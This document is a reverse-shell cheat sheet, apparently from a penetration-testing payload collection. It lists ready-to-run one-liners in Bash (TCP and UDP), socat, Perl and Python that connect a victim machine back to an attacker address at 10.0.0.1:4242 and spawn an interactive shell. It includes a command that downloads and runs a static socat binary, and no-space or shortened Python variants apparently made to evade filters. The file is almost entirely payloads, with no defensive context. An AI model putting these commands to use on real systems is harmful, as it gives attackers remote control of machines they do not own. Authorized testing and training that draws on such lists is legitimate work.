## Reverse Shell

### Bash TCP

```bash
bash -i >& /dev/tcp/10.0.0.1/4242 0>&1

0<&196;exec 196<>/dev/tcp/10.0.0.1/4242; sh <&196 >&196 2>&196

/bin/bash -l > /dev/tcp/10.0.0.1/4242 0<&1 2>&1
```

### Bash UDP

```bash
Victim:
sh -i >& /dev/udp/10.0.0.1/4242 0>&1

Listener:
nc -u -lvp 4242
```

Don't forget to check with others shell : sh, ash, bsh, csh, ksh, zsh, pdksh, tcsh, bash

### Socat

```powershell
user@attack$ socat file:`tty`,raw,echo=0 TCP-L:4242
user@victim$ /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.0.1:4242
```

```powershell
user@victim$ wget -q https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /tmp/socat; chmod +x /tmp/socat; /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.0.1:4242
```

Static socat binary can be found at [https://github.com/andrew-d/static-binaries](https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat)

### Perl

```perl
perl -e 'use Socket;$i="10.0.0.1";$p=4242;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"10.0.0.1:4242");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'


NOTE: Windows only
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"10.0.0.1:4242");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
```

### Python

Linux only

IPv4

```python
export RHOST="10.0.0.1";export RPORT=4242;python -c 'import socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
```

```python
python -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4242));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'
```

```python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4242));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
```

```python
python -c 'import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4242));subprocess.call(["/bin/sh","-i"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())'
```

IPv4 (No Spaces)

```python
python -c 'socket=__import__("socket");os=__import__("os");pty=__import__("pty");s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4242));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'
```

```python
python -c 'socket=__import__("socket");subprocess=__import__("subprocess");os=__import__("os");s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4242));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
```

```python
python -c 'socket=__import__("socket");subprocess=__import__("subprocess");s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4242));subprocess.call(["/bin/sh","-i"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())'
```

IPv4 (No Spaces, Shortened)

```python
python -c 'a=__import__;s=a("socket");o=a("os").dup2;p=a("pty").spawn;c=s.socket(s.AF_INET,s.SOCK_STREAM);c.connect(("10.0.0.1",4242));f=c.fileno;o(f(),0);o(f(),1);o(f(),2);p("/bin/sh")'
```

```python
python -c 'a=__import__;b=a("socket");p=a("subprocess").call;o=a("os").dup2;s=b.socket(b.AF_INET,b.SOCK_STREAM);s.connect(("10.0.0.1",4242));f=s.fileno;o(f(),0);o(f(),1);o(f(),2);p(["/bin/sh","-i"])'
```
